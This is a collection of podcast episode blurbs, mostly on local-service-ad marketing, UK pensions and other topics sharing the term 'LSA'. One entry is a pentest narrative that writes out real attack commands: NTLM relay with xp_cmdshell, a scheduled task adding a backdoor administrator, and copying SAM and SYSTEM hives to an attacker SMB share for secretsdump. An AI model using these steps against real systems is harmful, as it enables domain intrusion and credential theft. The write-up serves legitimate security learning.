Yellow Chair, consider joining our newsletter, "Let's Sip Some Lemonade," where you can receive exclusive interviews, our bank of helpful downloadables, and updates on upcoming content. Please consider following and drop a review below if you enjoyed this episode. Be sure to check out our social media pages on Facebook and Instagram. From the Yellow Chair is powered by Lemon Seed, a marketing strategy and branding company for the trades. Lemon Seed specializes in rebrands, creating unique, comprehensive, organized marketing plans, social media, and graphic design. Learn more at www.LemonSeedMarketing.com Interested in being a guest on our show? Fill out this form! We'll see you next time, Lemon Heads!
In this episode, Brandon Pierpont gives painting company owners a clear 2026 growth plan showing exactly where to put your budget (SEO, LSA, Meta) and how to track what matters (CPL, set rate, close rate). You'll learn the Flywheel for painters (Attract → Convert → Compound) so you can book more estimates, win better-margin jobs, and keep crews busy year-round.
In this episode of Owned and Operated, John Wilson sits down with Sam Preston — CEO of Service Scalers — to talk about the marketing asset that still quietly outperforms everything else in home services: your Google Business Profile (GBP). John and Sam break down why AI hasn't disrupted GBP the way people expected, how Google reviews are now getting pulled directly into AI search results, and why “map pack visibility” remains the cheapest, highest-intent lead source in the game.They get tactical on what actually drives rankings and calls in 2026. Sam lays out the three biggest needle-movers — proximity, category/keyword strength, and reviews — and John shows how Wilson Companies invests roughly $10K/month into GBP because it drives roughly $500K/month in sales. They go deep on why location is a marketing decision, how to scale multiple profiles without overlapping service areas, and why most owners waste time optimizing tiny details before locking in the fundamentals.If your LSA performance is lagging, your organic lead volume feels capped, or you're planning multi-location growth next year, this episode is the blueprint for turning GBP into a compounding growth engine.What You'll LearnThe 3 ranking drivers that matter most: proximity, primary category, review cadenceWhy location is a marketing decision (and how it changes growth overnight)How to scale multi-trade businesses without confusing Google's category systemThe real review strategy: frequency, volume, quality, and photos
It's episode 600 of the podcast, not that we're doing much to mark that milestone! We have some excellent questions today, taking in retirement planning, getting a mortgage if you have a new business and how flexible ISAs work! Shownotes: https://meaningfulmoney.tv/QA35 02:43 Question 1 Hi Pete, I'm a single household, due to pay my mortgage off in my early 50's….I have very little savings and pensions are everywhere and been 'balanced fund choices' as I either do self employed work or fixed term contracts. I'm really concerned I won't have 'enough' to retire. Where do I start to know how much I need? I don't have an extreme fancy lifestyle but want to live comfortably with running a car, having a nice home and having a holiday every few years. I would also like to help my siblings out if possible when they need it. Also for your business…..have you thought of making it an 'employee owned trust' in the future? This could be a good option if you don't want it swallowed up by larger organisations and want to keep a people focussed culture. Thanks, Anna 12:57 Question 2 Hi Pete and Roger Recently discovered the podcast and it's been really helpful in getting my thoughts straight about future planning - thank you! My job gives me a DB pension that as it stands will give me £4617 per year at 67 - for every year I work that will go up by one 54th of my salary, (£57k) so £1055 annually if I stay at the same grade. Increased by cpi plus 1.5% annually at the moment; and by CPI only once in payment. I can exchange part of this for a lump sum when I take it but that's a decision for another day! I'm projected for full SP at 67 after another 2 years contributing. I have £30k in a pensionbee that I'm adding to £100 a month, and after listening to the podcast I have started an AJ Bell SIPP (vanguard lifestrategy 60% equity) which I'm adding £200 a month to. Also working on the cash ladder/emergency fund - currently just £5k in a cash ISA I am hoping to get this up as much as possible. After overpaying mortgage and contributing to PensionBee/SIPP I can save £200 in a good month. I am aiming to retire as soon as I possibly can after 60, when the kids will all be in their 20s. I am sure this seems impossible but might as well aim high!!! So my priority is to build for the years between 60 and 67. And leave something for the kids, eventually! So…my question!! I have an old tiny deferred DB pension that I can take at 60, £3461 lump plus £1153 per annum (no option to take either a smaller or larger lump sum). I can't trivially commute this due to the rules of the scheme. As it's deferred there are no other benefits eg death in service. Or, I can take this now (age 53) with a reduction for early payment so it would be worth £3076 lump and £869 per annum. The pension increases each year by CPI while deferred and also when it's in payment. Does it make sense to take now, and put lump and monthly payment into either mortgage, or SIPP, or cash ISA? And if so which - SIPP gets me extra 25% from the gov as it's under pension recycling amount? But £3k off my mortgage now might be better. Cant get my head around the maths of this...but my gut feel is it would be working harder for me in my hand despite the fact I'd be taxed on the annual amount? I'd make sure that with my work and personal contributions I stay in 20% tax band and reclaim from HMRC when I do my tax return. Sarah 19:39 Question 3 Hi Pete and Roger, great show and love the new format to allow listeners to ask lots of questions. My question is around pension inheritance. When a person dies and passes a DC pension to a spouse or child, does the inheritance remain in the pension wrapper when it passes on or does it lose its pension wrapper status which allows the person inheriting to use the cash as they want without the pension restrictions? Many thanks, Kavi 26:04 Question 4 Hi Pete I've been watching your videos and listening to your podcasts for about two years now and I'll start by thanking you (and the youthful Mr Weeks) for the public service you provide outside your paying work. I have what I think is a simple question, but I don't seem to be able to find a definitive answer on-line. I retired about this time two years ago at the age of 62 so I'm 64 now. I have a DC pension in the form of a SIPP which is currently worth a little more than £600k. I also have a similar amount in savings (some in cash, some in an S&S ISA). I live on a combination of the income provided by the cash and the S&S ISA, plus a series of small UFPLSs taken roughly quarterly from my SIPP throughout the tax year. At this stage the SIPP withdrawals are relatively modest (totalling maybe 12k a year, of which of course 3k is tax free). My intention is to continue doing the UFPLSs at roughly the same rate, possibly increasing a little as a result of inflation. State pension will add another 12k or so to my annual income in 3 years so that will likely reduce the need to increase my SIPP withdrawals for a while. My SIPP is currently growing faster than my rate of withdrawal. I understand that the maximum tax free cash I can have out of my pension in my lifetime (under current legislation) is £268,275 and obviously at my current withdrawal rate, I'm not getting to that total anytime soon. However if I've understood the rules correctly (and I may not have), I think my ability to have tax free cash once I reach the age of 75 goes away. If that's true, presumably I need to crystallise my SIPP pot just before I reach age 75, taking a quarter of it or my remaining LSA (whichever is smaller) as a tax free lump sum, at which point the remainder turns into an entirely taxable (crystallised) draw down pot? Alternatively, have I completely misunderstood what happens at age 75 and I can continue to do UFPLSs (with 25% tax free) until the cows come home, or I reach the LSA, whichever is sooner? I don't think it's relevant to my question above but just for background, I have a wife who inherits everything if she survives me, or a few nieces and nephews and charities that benefit if she doesn't. We have no children of our own. Keep up the good work gentlemen. Regards, Robert 31:05 Question 5 Hi Pete My son, who has never been a saver (apart from workplace pension) and never seems to have any spare money (single dad, renter) is in the process of going self employed with a colleague. If all goes well, he has a chance to make a reasonable income, not be hand to mouth and periodically take lump sums as a company director. E. G £5k to £10k starting in a couple of years. My question is not about the viability of the business but this business will open up the prospect of my mid 30's son, David, owning a house while I am alive. As in, building up a deposit as dividends are paid. It may take several years and then, I assume, he would have to go through the pain of a self employed mortgage. An area that I know nothing about. In effect, he is just starting out, but we would be really interested in your thoughts about the longer term aim of buying a house. Many thanks again for your wonderful books and podcasts Helen 37:55 Question 6 Hi Pete & Roger, I continue to recommend your podcast to others. Please keep up the excellent work. My question is on the process of using flexible Cash ISAs. I cannot find any worked examples online and a few IFAs I have approached suggested kicking back the question to the ISA provider but I would appreciate your thoughts. My wife and I have £200k in flexible cash isas. We plan on using these funds for a house purchase. Should I reduce the balance to zero, can I top the ISA back up to the full £200k provided the money goes in and out of a 'flexible' cash isa (and is within the same tax year)? I would be in a position to do this following the sale of some investment property.. And the second part of the question would be can the money move freely between a stocks and shares isa and a flexible cash isa eg £200k in a flexible cash isa moved into a stocks and shares isa > then back to the flexible cash isa. We are both higher-rate tax payers and I won't drop a tax bracket in retirement so I feel the ISAs are the most useful savings bucket we hold. Take care and all the best. Stuart
Each week, Greg and Ben answer your questions on digital marketing for local businesses … local search engine optimization (SEO), Google Business Profile, social media, email marketing, websites, online advertising and more.Updates and QuestionsGoogle launches scheduling and multi-location publishing on Google Posts.Google API implies Service Areas do not affect ranking.You can now leave anonymous Google Reviews.Google now sends notifications when review restrictions are removed from an account.Local Marketing Institute will be starting up a new newsletter.When searching a law firm, the GBP shows at the bottom of the page of results - is this a bug?How much should you fill out for an organization schema for a local business?Is it possible to close a competitor GBP that was acquired while transferring the reviews to the main profile?Should I use products to promote a service business such as a family attorney?Should I use extra long title tags for local?Do Service Areas in GBP have influence on Service Areas targeted in LSA?Is there any value to adding geo-coordinates to GBP Photos?Links mentioned in this session are available on our website at https://localmarketinginstitute.com
After a short break, The Rancho Cordova Podcast is back and refreshed with new stories from our community. Today's episode features husband-and-wife team Vanessa Nelson-Sloane and David Sloane, leaders of Life Support Alliance, a nonprofit working inside California's prison system to support rehabilitation and advocate for incarcerated lifers. Vanessa, LSA's founder, has attended over 200 parole hearings and helps guide people through the process. David, once sentenced to life and now paroled for over a decade, brings firsthand experience and leads programs inside prisons across the state. Together, they share: How rehabilitation actually works Why lifers can return safely to society What needs to change inside California's prison system It was a powerful conversation, and I think you'll learn a lot. Hosted by Charles Lago.
En 2014, selon une étude réalisée pour le magazine LSA, le chocolat était l'aliment préféré des Français. Nous sommes près de 98% à en consommer, 80% chaque semaine et 30% tous les jours. Si le chocolat nous plaît autant, c'est parce qu'il serait bon pour la santé, et un peu addictif. Selon une étude américaine publiée dans le journal spécialisé Nature, manger du chocolat serait même bénéfique pour le cerveau et rendrait plus intelligent. Comment le chocolat peut-il nous rendre plus intelligents ? Présente-t-il d'autres bienfaits ? Y a-t-il des inconvénients à la consommation de chocolat ? Écoutez la suite de cet épisode de "Maintenant vous savez". Un podcast Bababam Originals, écrit et réalisé par Samuel Lumbroso. Première diffusion : avril 2023 À écouter aussi : Le chocolat peut-il vraiment tuer un chien ? Pourquoi le débat entre “pain au chocolat” et “chocolatine” existe-t-il ? Comment “muscler” son cerveau ? Retrouvez tous les épisodes de "Maintenant vous savez". Suivez Bababam sur Instagram. Learn more about your ad choices. Visit megaphone.fm/adchoices
Welcome to episode 304 of Grow Your Law Firm, hosted by Ken Hardison. In this episode, Ken welcomes in Tanner Jones, Vice President of Business Development at Consultwebs and one of the leading voices in digital marketing for law firms. With over a decade of experience helping firms generate hundreds of millions in verdicts and settlements from web-originated cases, Tanner brings deep insight into how SEO, paid search, and AI are reshaping the legal marketing landscape. His team at Consultwebs, composed of attorney content writers, digital strategists, and designers, has helped law firms nationwide build recognizable brands and achieve consistent year-over-year growth. What you'll learn about in this episode: 1. Paid Search in 2025 - How Google's LSA credit policy and PPC changes affect case volume - Why exact-match targeting outperforms broad match in competitive markets 2. AI's Impact on Visibility - How Google's AI Overviews and ChatGPT are influencing search and lead flow - What content structure helps firms appear in AI-generated answers 3. Attribution & Brand Building - Why tracking conversions is harder than ever in a multi-touch journey - The power of video and social content for building brand familiarity 4. Q4 Action Checklist - Auditing channels, cutting non-producers, and doubling down on top performers - Expanding review collection across Google, Facebook, and legal directories 5. Budgets, CAC, and ROI Targets - Understanding today's cost per case - Setting sustainable ROI goals Resources: Website: consultwebs.com/ LinkedIn: linkedin.com/in/tannerjonescw Facebook: facebook.com/consultwebs Twitter: twitter.com/Consultwebs Additional Resources: https://www.pilmma.org/the-mastermind-effect https://www.pilmma.org/resources https://www.pilmma.org/mastermind AI for PI Expo: www.pilmma.org/ai-for-pi-expo
Have you heard of an LSA—or wondered why they're quickly becoming one of the most popular employee benefits out there?In this episode, I sit down with Rob Cinco to break down everything you need to know about Lifestyle Spending Accounts—what they are, how they work, and why both employers and employees can't get enough of them!We cover:What an LSA is and how it differs from FSAs & HSAsWhy employers are adding them to their benefits mixHow employees use them for real, everyday wellness perksThe pros, cons, and creative ways to roll one outIf you're looking for a fresh, flexible, and fun benefit idea to bring to your organization, LSAs might be exactly what you've been looking for! ????About the Show:The H.I.T. Podcast (Powered by Montage Insurance Solutions): A thought leader in the space, curating the top news and information to deliver a brief, high impact overview designed specifically for the Human Resources professional, business person, and company executive.
Check out my newsletter at https://TKOPOD.com and join my new community at https://TKOwners.com━In this episode I talk with Wesley Parkin from Grounds Guys Keller about how the Christmas lights business really works. We go over real numbers on what homeowners pay, how margins grow from year one to year three, and why commercial installs can completely change your income. We dig into lead generation with LSA, PPC, and Facebook ads, the best time of year to start marketing, and the quick setup and takedown process that keeps this side hustle efficient. We also cover safety gear like Cougar Paws and a pitch wedge, the difference between selling and leasing lights, and how route density can help you hit $1K an hour during peak season. If you've been looking for a seasonal business with real numbers and proven demand, this one shows you exactly how it's done.Find Grounds Guys Keller at https://www.groundsguys.com/keller-tx/Follow them on Facebook: https://www.facebook.comEnjoy! ---Watch this on YouTube instead here: tkopod.co/p-ytAsk me a question on or off the show here: http://tkopod.co/p-askLearn more about me: http://tkopod.co/p-cjkLearn about my company: http://tkopod.co/p-cofFollow me on Twitter here: http://tkopod.co/p-xFree weekly business ideas newsletter: http://tkopod.co/p-nlShare this podcast: http://tkopod.co/p-allScrape small business data: http://tkopod.co/p-os---
In today's Q&A episode, we're answering a bunch of questions from those on the threshold of retirement, getting into the nitty-gritty of age-difference planning, DB scheme reductions and all sorts! Shownotes: https://meaningfulmoney.tv/QA29 01:04 Question 1 Hi Pete I am really enjoying listening to the podcast, thank you. They make what can sometimes be a complicated subject much easier to understand. I have a question which I have asked my SIPP provider but even they don't appear to know the answer so here goes: If someone has a SIPP valued at say £1.2m and a DB pension valued at say £300k, in order to maximise the favourable annuity provided by the DB pension, is it possible to draw the full LSA (25% tax free cash) from the SIPP? Or is there a requirement to draw the LSA on a pro rata basis from both the SIPP and the DB pension? Thank you, AJ 07:07 Question 2 Hi Pete and Roger, Thanks to The Meaningful Money Handbook, The Meaningful Money Retirement Guide and listening to all of your podcasts, I'm now in the fortunate position to retire in three years at the age of 55. However, I have a couple of questions about building a Cash Flow Ladder: Q1 - Should I be moving my investments into the various rungs of the ladder now, or just wait until I retire? Q2 - Most of my investments are in a pension, but I also have an ISA for a bit of flexibility. Would it make sense to use the same ladder structure in both the pension and the ISA? Thanks for all your good work. Tim 11:17 Question 3 Hi guys Loving the podcast - helped me through the COVID years and it's been a staple ever since so thank you for that. My question is around investing in older age. At what point, if any, is it worth cashing out GIA investments if other sources of income such as state pension and DB pensions are more than enough to live off and I have sufficient other capital (cash isas) for those big things still ahead? I'm not planning to leave any sort of inheritance (unless I pop my clogs early !) so is there some rule of (age) thumb of when to cash out and spend investments? I sort of don't see the point of continuing to invest after a certain age and to spend the money. But I guess it's not easy switching from investing to spending. Thanks, Chris 16:33 Question 4 Hi Pete & Roger, Great show gents, always interesting and informative. I've been an avid listener for a couple of years now and have been encouraged to write in on the off-chance that my question may have relevance to others with a similar dilemma. I fear you may feel it's too niche but here goes: I'm 59yrs old and for all intents and purposes retired, in as much as I quit my career in business 18months ago to take on the full-time parental care role of my 6yr old twins which enables my wife (15yrs my junior) to continue in the career she loves. We are fortunate that my wife is an additional higher rate tax payer (as was I before I quit), we live mortgage free in a ~£1.5m family house - all of which means I have no plans to draw a pension until my wife is also ready to retire, which despite her occasional gripe, is not likely to be until our children leave school (by which time we will be ~ 72 and 57 respectively). I have a small index-linked Public Sector DB pension that kicks in in a few months time when I hit 60 (£7k per year) and expect to get a full State Pension which should provide me with around £20k p.a. at todays values as a base income when I reach state pension age in 7 years time. I also have a Pension pot currently valued at around £1.2m, made up from £1m SIPP and £200k S&S ISA) and my wife's Pension pot is currently valued at around £520k (£400k SIPP & £120K S&S ISA). I no longer contribute to my SIPP but my wife invests around £30k Gross in to her SIPP annually and we plan on continuing to fill both ISA allowances each year until she retires. We are both 100% invested in equities using low-cost Global trackers to maximise their growth potential. Here's my question, I was burnt a few years back (before I started listening to podcast like yours to educate myself on how to manage my finances) when I was persuaded to join SJP and combine all my old workplace pensions into a single pot managed with them. I even persuaded my wife to join and I opened Junior SIPPs for my twins when they were born (not their advice, my own) which we continue to pay the full amount into monthly to hopefully secure their future retirement. Long and the short of it, the more I learned about investing, the more I regretted my decision to tie myself into SJP and the more I begrudged paying their relatively high fees (for what turned out to be a lower return than much lower cost tracker options could / would have produced over that same time period). I eventually sucked up the exit fees and bailed out a few years back, taking my wife and children's accounts with me and whilst I haven't looked back, it has made me reluctant to spend money on financial advisors, given the perceived poor advice I felt I received last time. To that end, I'm currently planning on managing mine and my wife's finances through retirement without recourse to an advisor but have started to have niggling doubts as to the whether I'm being too arrogant in my own abilities. In simple terms, our aim to build a combined Pension Pot (incorporating a healthy ISA element to aid in tax-efficient drawdown, allow my wife to retire early(er) if she so desires and to cover one-off expenses that may from time to time will come up) that's large enough for us to live off comfortably based on a flexible 3-3.5% drawdown rate annually (index-linked). The plan is also to remain 100% invested in equity throughout retirement with the exception of and maintaining, a 3-5yr cash-like buffer (invested in MM Funds / short term government bonds) from which to take our living expenses. My wife and I are not extravagant spenders and can easily cut our cloth according to circumstances, so my feeling is, with a small but decent guaranteed income that we will have as a foundation, when combined with what I hope/expect to be a sizeable joint Pension Pot and a relatively low and sustainable withdrawal rate that should see us right even through the harshest of winters (metaphorically speaking) this should provide all the income we'll need for a comfortable retirement with a good chance of leaving a fair amount left in the pot for our children at the end, without over complicating our portfolio or expensive management costs. The obvious concern I have is around IHT but even there, I feel like that's a concern to address further down the road once we know we are financially secure and when we know more about the needs of our children as they grow-up and can plan what to do with any excess cash we might have using the rules in place at that time. Sounds simple, but is it too simple? Can you spot any obvious flaws in this plan or reasons why you think seeking professional advice would make sense that may not have considered? Thank you and keep up the good work! Regards, Aaron 27:42 Question 5 Hi both Love the podcast. I listen regularly and enjoy hearing the banter between the two of you, as well as providing answers to thought provoking questions. As an additional rate taxpayer in Scotland, my marginal income tax rate is an eye watering 48%. So I get significant benefit from tax relief when topping up my pension. It can cost as little as £33,000 to enjoy a full input of £60,000 once I get money back on my tax return. I have been diligently stuffing my pension as much as I could afford for years now as it was always the prevailing financial advice. I'm now only a couple of years away from retiring at age 55. I am fortunate enough to be now over the old LTA (which is now of no consequence). However the tax free limit is still set at 25% of that old allowance (£268,273?). Given I am now NOT going to benefit from any further tax free money on the way out, I wonder whether continuing to contribute to my pension is a good idea anymore. My choices are either : 1) Pay into the pension and enjoy tax relief of 48% now, allow the fund to accumulate tax free over the coming years, then pay income tax on the way out at 40%. (I expect to be high rate , not additional or basic rate tax payer in retirement) 2) Take the tax hit now on income, don't contribute to pension, put the nett amount into a GIA, and pay 24% CGT on the gain on the way out. I did some numbers and while the pension wins out, it's not by much over a 10 year term assuming 5% growth. But tax rates could change, pension rules could change, and inheritance tax changes are pending. Can you compare the pros and cons of each approach to help me make a decision, or is there a third option to consider? (I hear Roger sometimes suggest a strategy of taking the tax hit now rather than later e.g better the devil you know) I hope this makes sense. Thanks, Martin 33:47 Question 6 I became an avid listener of the podcast during the first lockdown and have learned so much in the past 5 years. I really enjoy it and appreciate all the effort you put into it. My question is with regard to age gap relationships and planning for retirement. I'm 59 and am currently contributing to the NHS Pension Scheme. Part of my pension can be taken at age 60, without deduction, and I hope to have an income of £16,000 plus a £50,000 lump sum. The rest of my pension I'll be able to take at age 67 and by the age of 63 I hope to have a further pension of £18,000 without a lump sum. In addition to this, from my career before the NHS, I have a SIPP and the current value is £400,000. 63 is the age by which I hope to have stopped working at my current level but it might be sooner. My wife is ten years younger than me and has not been working for most of her adult life. Currently she is paying into a local authority DB scheme but by the time she is 58 her pension entitlement might only be £5,000 per year, but this would need to be discounted by 40%-50% in order to take that income. By the time we are eligible I expect both of us to qualify for the full state pension. We have no other cash savings to speak of and our mortgage is due to be paid off next year, when I will be 60. My question is what advice do you have for couples who face this age gap issue. The plan is that we want to spend our retirement together while I am fit and active (well fit-ish). Once we both have the state pension, with my NHS Pension, we should have an income of £58,000 at todays values, which will be enough for our needs when I am in my late seventies, but might make me a higher rate taxpayer in requirement. Before then, we'd like to spend a bit more and we are planning to use my SIPP and my wife's DB scheme (when she is 58) to fund our pension, until it is replaced by the second NHS Pension and the state pensions. I never realised this would be so complicated to get my head around. When the mortgage is paid off, we'll have some money and should we concentrate in paying it into an ISA so that we can get an additional income without me having to pay higher rate tax, or should we set up a SIPP for my wife so that she can build up a pot of money that she can drawdown on from when she is 58. This would be with the aim of her utilising as much of her annual tax free allowance as possible. I've assumed there is no way that I can transfer part of my SIPP to her before I die. I very much hope that you can help. Best wishes, Steve
John sits down with Micah Findley (HomeField) to talk about building a national brand in one of the most overlooked trades: The Septic Pumping Business. From pricing thousand-gallon pumps to dump fees, grease traps, and service agreements, this is the real playbook for scaling a modern Septic Pumping operation.They unpack the entire stack—how a Septic Truck Business goes beyond “just pumping” into repairs, installs, commercial work, and recurring maintenance—plus route density, transfer (frac) tanks, land application vs treatment plants, AR policies, and the software/marketing engines (LSA, PPC, ServiceTitan/Housecall Pro) that drive profitable Septic Pumping growth.
Send us a textIf your ads are running, your SEO guy is paid, and your phone still isn't ringing — this one's for you.Brandon and Caleb break down the five biggest reasons businesses disappear from Google and how the rules of search have quietly changed.From AI Overviews to Local Service Ads, Google Maps, and organic SEO, this episode reveals where your marketing dollars are leaking and how to plug the holes fast. Inside this episode:What Google's new AI Overviews mean for local business visibilityThe overlooked ranking factors in LSA and MapsWhy your ads aren't showing (and how to fix it)The new kind of content Google actually rewardsFor entrepreneurs wanting to grow without wasting money, join the Maven Marketing Mastermind → https://www.mavenmethodtraining.comOur Website: https://frankandmaven.com/Instagram: /frankandmavenmarketing TikTok: /frankandmavenLinkedIn: /frank-and-maven Host: Brandon WelchCo-Host: Kyle DeVriesExecutive Producer: Carter BreauxAudio/Video Producer: Nate the Camera GuyDo you have a marketing problem you'd like us to help solve? Send it to MavenMonday@FrankandMaven.com! Get a copy of our Best-Selling Book, The Maven Marketer Here: https://a.co/d/1clpm8a
In this episode, Mitch and David go over why it is so important to be getting google reviews in your business. How to get them, how to get your employees to get them, how it helps your google LSA. It's more important than you think. Not to mention an apology from Mitch. Not ready for a full blown CRM, this is a great option. Build jobs, bids, and invoice straight from the app. TW Job Calculator APPS https://play.google.com/store/apps/details?id=com.tradewinsconsulting.jobcalculator https://apps.apple.com/us/app/trade-wins-job-calculator/id6744992264?platform=iphone Trade Wins by Trading Content https://www.facebook.com/groups/1309829410166761 If you have questions you'd like us to answer, please feel free to email them to AskMitch@MitchSmedley.com Thanks for listening and thanks for sharing! Enjoy the show! If you'd like more insight from Mitch and David, you need to check out Trade Wins. Trade Wins can help you start your business or take your newer business and get it to a very healthy level. For more information about Trade Wins, check out https://www.tradewinsconsulting.com/ FieldPulse is the Official Field Service Management Software of The Void Podcast. Their software is ideal for you and your business. For more information about how FieldPulse can benefit you, check them out here: https://www.fieldpulse.com/book-demo?utm_source=referral&utm_medium=partner&utm_campaign=TheVoid/TradeWins Need a better credit card processor? These guys are it http://empowerpayments.com/TheVoid Contact us: askmitch@mitchsmedley.com david@tradewinsconsulting.com mitch@tradewinsconsulting.com
Steven Pinker's new book argues that all our relationships depend on shared assumptions and “recursive mentalizing” — our constant efforts to understand what other people are thinking. He and Steve talk about the psychology of eye contact, the particular value of Super Bowl ads, and what it's like to get cancelled. SOURCES:Steven Pinker, professor of psychology at Harvard University. RESOURCES:When Everyone Knows That Everyone Knows, by Steven Pinker (2025)."Why I Left Harvard," by Carole Hooven (The Free Press, 2024).Rationality: What It Is, Why It Seems Scarce, Why It Matters, by Steven Pinker (2021)."Economics of Toilet Paper X Thread," by Justin Wolfers (2020)."How a Famous Harvard Professor Became a Target Over His Tweets," by Michael Powell (New York Times, 2020)."Police Killings of Blacks: Here Is What the Data Say," by Sendhil Mullainathan (2015).SuperFreakonomics: Global Cooling, Patriotic Prostitutes, and Why Suicide Bombers Should Buy Life Insurance, by Steven Levitt and Stephen Dubner (2011).Rational Ritual: Culture, Coordination, and Common Knowledge, by Michael Suk-Young Chwe (2003)."Open Letter to the LSA." EXTRAS:"Steven Pinker: 'I Manage My Controversy Portfolio Carefully,'" by People I (Mostly) Admire (2020). Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.
Welcome to episode 298 of Grow Your Law Firm, hosted by Ken Hardison. In this episode, Ken is joined by Seth Price, founder of BluShark Digital and managing partner at Price Benowitz LLP. An accomplished attorney and transformational thought leader, Seth is a founding partner and the business backbone of Price Benowitz LLP, as well as the founder and CEO of BluShark Digital. Seth scaled a two-person law firm to 45 lawyers and leveraged that same digital expertise to create a best-in-class agency focused on legal marketing. He frequently speaks at major U.S. law conferences on topics including firm growth, ethics, operational best practices, SEO, and digital marketing strategies for law firms. What you'll learn about in this episode: 1. AI and SEO Strategy: - How law firms can optimize for AI-driven search results without losing monetizable traffic - Using mentions and strategic placement in AI indexing to maintain visibility 2. Local Search and Google Maps: - How expanding Google My Business listings and satellite offices increases local reach - The role of review velocity in improving rankings and attracting clients 3. Balancing AI Efforts with Revenue: - Allocating marketing budget to AI results while maintaining ROI from proven channels - Understanding which AI-driven initiatives provide social proof versus actual revenue 4. LSA and PPC Strategies: - Why Local Service Ads often outperform traditional PPC for cost-effective lead generation - Ensuring intake processes are dialed in to maximize the value of LSA leads 5. Digital Marketing Best Practices: - The importance of owning digital assets, websites, social profiles, and ad accounts - Leveraging content from podcasts, videos, and other organic sources for long-term SEO Resources: Website: blusharkdigital.com LinkedIn: linkedin.com/in/sethprice/ Twitter (X): x.com/blusharkdigital Additional Resources: https://www.pilmma.org/aiworkshop https://www.pilmma.org/the-mastermind-effect https://www.pilmma.org/resources https://www.pilmma.org/mastermind AI for PI Expo: www.pilmma.org/ai-for-pi-expo
Spotlight on the September 2024 fatal crash involving an Evolution Revo light sport weight shift aircraft (LSA). A CFI and student pilot were killed when the aircraft's wings folded and it entered a steep dive.Todd Curtis and John Goglia explore questions not answered in the recently released NTSB report. How or why did the CFI miss the checklist item to attach a key support cable? Had the aircraft recently been transported? Was work done on the aircraft?The aircraft uses hang-glider-like wings for lift. It relies on moving a control bar to shift the center of gravity and change the shape of the wing and does not rely on traditional flight control surfaces. Despite his extensive experience with the aircraft, the CFI did not properly attach a key support cable called a haul back cable.LSA rules will change in 2025 and 2026, including allowing pilots with an LSA certification to fly larger aircraft like the Cessna 172. Don't miss what's to come from the Flight Safety Detectives - subscribe to the Flight Safety Detectives YouTube channel, listen at your favorite podcast service and visit the Flight Safety Detectives website. Want to go deeper with the Flight Safety Detectives? Join our YouTube Membership program for exclusive perks like members-only live streams and Q&As and early access to episodes. Your membership support directly helps John, Greg and Todd to deliver expert insights into aviation safety.Interested in partnering with us? Sponsorship opportunities are available—brand mentions, episode integrations, and dedicated segments are just a few of the options. Flight Safety Detectives offers a direct connection with an engaged audience passionate about aviation and safety. Reach out to fsdsponsors@gmail.com. Music: “Inspirational Sports” license ASLC-22B89B29-052322DDB8 Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.
Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICEMSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITYSYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:tempbackup ?GLOBALROOTDeviceHarddiskVolumeShadowCopy123 From command prompt on the victim system, I authenticated to my rogue share: net use ATTACKER_IPshare /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM my.attackingipsys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL
Thanks to our Partners, Shop Boss and AppFueledRyan Grace and David Gibson, former techs turned shop owners, join host Brian Walker to share how they built Pleasant Automotive in Wake Forest, NC. They started with a website before they even had a location. With no deep pockets or big investors, they focused on smart, strategic marketing moves that helped them grow fast without wasting money.Brian dives into their decision-making process, from ditching direct mail to doubling down on Google LSAs, and how strong phone skills turned casual calls into loyal customers. They talk openly about what worked, what flopped, and how they've created a brand that feels more like a high-end speakeasy than a typical auto shop.This episode is packed with takeaways for shop owners who want to scale without the fluff. It's about being intentional, building relationships, and letting marketing fuel real growth.Introduction and Sponsor Acknowledgment (00:00:01) Host introduces the podcast, guests, and thanks sponsors.Background and Shop Ownership Journey (00:01:03) Ryan and David share their transition from technicians to shop owners and their first year in business.Tesla Specialty and Local Market Opportunity (00:01:59) Discussion of their focus on Tesla repairs due to poor local dealership service.Early Marketing Strategy: Website and SEO (00:03:46) Started with a website and SEO before opening, aiming for Google visibility from day one.Financial Preparations and Entrepreneurial Mindset (00:06:06) Talk about financial risks, faith, and foundational steps like securing a domain name.Scaling Services and Adding Marketing Channels (00:07:52) Gradual addition of services and marketing channels, including Google Ads.Seeking Industry Guidance and Community Involvement (00:08:59) Leaning on industry experts, SCORE, and engaging in community programs like Adopt a Highway.Evaluating Community Marketing ROI (00:09:52) Discusses the intangible benefits of community involvement and local visibility.Initial Marketing Company Experience (00:11:21) Tried a budget marketing company for website/SEO; found it ineffective and disappointing.Value of Investing in Quality Marketing (00:13:03) Realization that higher-quality, more expensive marketing services yield better results.Balancing Aggressive Growth with Financial Prudence (00:16:24) How they scaled marketing aggressively but sustainably, reallocating budget from ineffective channels.Best Performing Marketing: Google Local Service Ads (00:17:31) Google Local Service Ads identified as the most effective marketing channel.Optimizing and Adapting LSA Campaigns (00:18:29) Describes the learning curve and adjustments needed to maximize LSA effectiveness.Importance of Phone Skills and Customer Service 